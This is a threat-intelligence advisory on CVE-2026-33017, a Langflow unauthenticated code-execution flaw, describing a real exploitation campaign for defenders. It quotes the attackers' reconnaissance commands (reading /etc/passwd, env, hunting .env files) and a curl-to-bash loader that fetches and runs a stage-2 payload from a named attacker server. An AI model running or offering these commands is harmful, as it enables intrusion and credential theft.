# CVE-2026-33017: Langflow Unauthenticated RCE via Public Flow Build Endpoint — Active Exploitation Within 20 Hours

> Critical unauthenticated remote code execution vulnerability in Langflow AI pipeline framework (CVE-2026-33017). The POST /api/v1/build_public_tmp/{flow_id}/flow endpoint accepts attacker-supplied Python code in flow node definitions and executes it server-side via exec() without authentication or sandboxing. Active exploitation observed within 20 hours of disclosure, with automated nuclei scanning followed by custom exploitation for credential harvesting and C2 deployment.

- **Published:** 2026-03-19T12:00:00Z
- **Last reviewed:** 2026-10-23T11:38:37.018Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0250
- **ID:** TL-2026-0250
- **Severity:** CRITICAL (CVSS 9.8)
- **Category:** VULNERABILITY
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 50 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2026-33017, CVE-2025-3248

## Description

CVE-2026-33017 is a critical unauthenticated remote code execution vulnerability in Langflow, a popular open-source AI pipeline and workflow orchestration framework. The vulnerability resides in the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint, which is designed to build public flows without requiring authentication.

The root cause is a combination of missing authentication (CWE-306) and improper neutralization of dynamically evaluated code (CWE-95). The endpoint accepts an optional attacker-controlled 'data' parameter. When supplied, the system uses the attacker's flow data — containing arbitrary Python code embedded in node definitions — instead of the legitimate flow data stored in the database. This user-supplied code is passed directly to Python's exec() function without any sandboxing or input sanitization.

Exploitation is trivial: a single HTTP POST request with a crafted JSON payload containing malicious Python code in the flow node definition achieves code execution with the privileges of the Langflow server process. If AUTO_LOGIN=true (the default configuration), an attacker can generate a valid public flow ID without credentials, making the attack fully unauthenticated from start to finish.

Sysdig's Threat Research Team observed active exploitation beginning just 20 hours after the advisory was published on March 17, 2026. The attack campaign proceeded in distinct phases:

1. SCANNING PHASE (Mar 18, 16:04-16:39 UTC): Multiple IPs initiated automated scanning using private nuclei templates (identified by Cookie: client_id=nuclei-scanner headers). The nuclei template used Interactsh callbacks (.oast.live, .oast.me, .oast.pro, .oast.fun subdomains) for out-of-band validation of code execution.

2. RECONNAISSANCE PHASE (Mar 18, 20:55+ UTC): Attackers executed system enumeration commands including 'id', 'ls -al /root; ls /app; cat /etc/passwd', 'env', and 'find /app -name "*.db" -o -name "*.env"' to harvest environment variables, credentials, and identify sensitive files.

3. CREDENTIAL HARVESTING: Attackers targeted .env files containing API keys, database passwords, and cloud credentials. The base64-encoded output was exfiltrated via HTTP callbacks to Interactsh infrastructure and a dedicated C2 server at 143.110.183.86:8080.

4. PAYLOAD DELIVERY: A stage-2 payload was delivered via 'bash -c "$(curl -fsSL http://173.212.205.251:8443/z)"' for persistent access and further exploitation.

This vulnerability is distinct from but related to CVE-2025-3248, a prior Langflow RCE in the /api/v1/validate/code endpoint that was added to CISA KEV in May 2025. CVE-2026-33017 targets a different endpoint and bypasses the authentication controls added to fix CVE-2025-3248. The pattern of repeated critical RCE vulnerabilities in Langflow's code execution endpoints represents a systemic design issue with the platform's approach to dynamic code evaluation.

The attack infrastructure suggests a single coordinated operator using multiple VPS nodes across Germany, Singapore, France, and the Netherlands, with C2 infrastructure hosted in India. Shared infrastructure between source IPs 83.98.164.238 and 173.212.205.251 (both connecting to the same C2 at 143.110.183.86:8080) further supports this assessment.

## MITRE ATT&CK

- T1592 Gather Victim Host Information
- T1589 Gather Victim Identity Information
- T1595 Active Scanning
- T1588 Obtain Capabilities
- T1583 Acquire Infrastructure
- T1190 Exploit Public-Facing Application
- T1059 Command and Scripting Interpreter
- T1552 Unsecured Credentials
- T1087 Account Discovery
- T1083 File and Directory Discovery
- T1082 System Information Discovery
- T1005 Data from Local System
- T1105 Ingress Tool Transfer
- T1071 Application Layer Protocol
- T1132 Data Encoding
- T1041 Exfiltration Over C2 Channel
- T1059.006 Command and Scripting Interpreter: Python
- T1059.004 Command and Scripting Interpreter: Unix Shell
- T1053.003 Scheduled Task/Job: Cron
- T1562.001 Impair Defenses: Disable or Modify Tools
- T1070.002 Indicator Removal: Clear Linux or Mac System Logs
- T1222.002 File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification
- T1036 Masquerading
- T1552.001 Unsecured Credentials: Credentials In Files
- T1552.004 Unsecured Credentials: Private Keys
- T1518.001 Software Discovery: Security Software Discovery
- T1614 System Location Discovery
- T1021.004 Remote Services: SSH
- T1071.001 Application Layer Protocol: Web Protocols
- T1496 Resource Hijacking
- T1595.002 Active Scanning
- T1562.004 Impair Defenses
- T1564.001 Hide Artifacts
- T1036.005 Masquerading
- T1057 Process Discovery
- T1489 Service Stop
- T1531 Account Access Removal

## Sources

- [Sysdig: CVE-2026-33017 — How attackers compromised Langflow AI pipelines in 20 hours](https://www.sysdig.com/blog/cve-2026-33017-how-attackers-compromised-langflow-ai-pipelines-in-20-hours)
- [GitLab Advisory: CVE-2026-33017 Unauthenticated RCE in Langflow](https://advisories.gitlab.com/pkg/pypi/langflow/CVE-2026-33017/)
- [DailyCVE: Langflow Code Injection RCE CVE-2026-33017](https://dailycve.com/langflow-code-injection-rce-cve-2026-33017-critical/)
- [CISA KEV: CVE-2025-3248 Langflow Missing Authentication (Related Prior CVE)](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-3248)
- [Keysight: CVE-2025-3248 Unauthenticated RCE in Langflow Analysis](https://www.keysight.com/blogs/en/tech/nwvs/2025/06/29/cve-2025-3248-langflow-unauthenticated-code-validation)
- [Trend Micro: CVE-2025-3248 Exploited to Deliver Flodrix Botnet](https://www.trendmicro.com/en_us/research/25/f/langflow-vulnerability-flodric-botnet.html)
- [Exploit-DB: Langflow 1.2.x Remote Code Execution](https://www.exploit-db.com/exploits/52364)
- [Langflow GitHub Repository](https://github.com/langflow-ai/langflow)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0250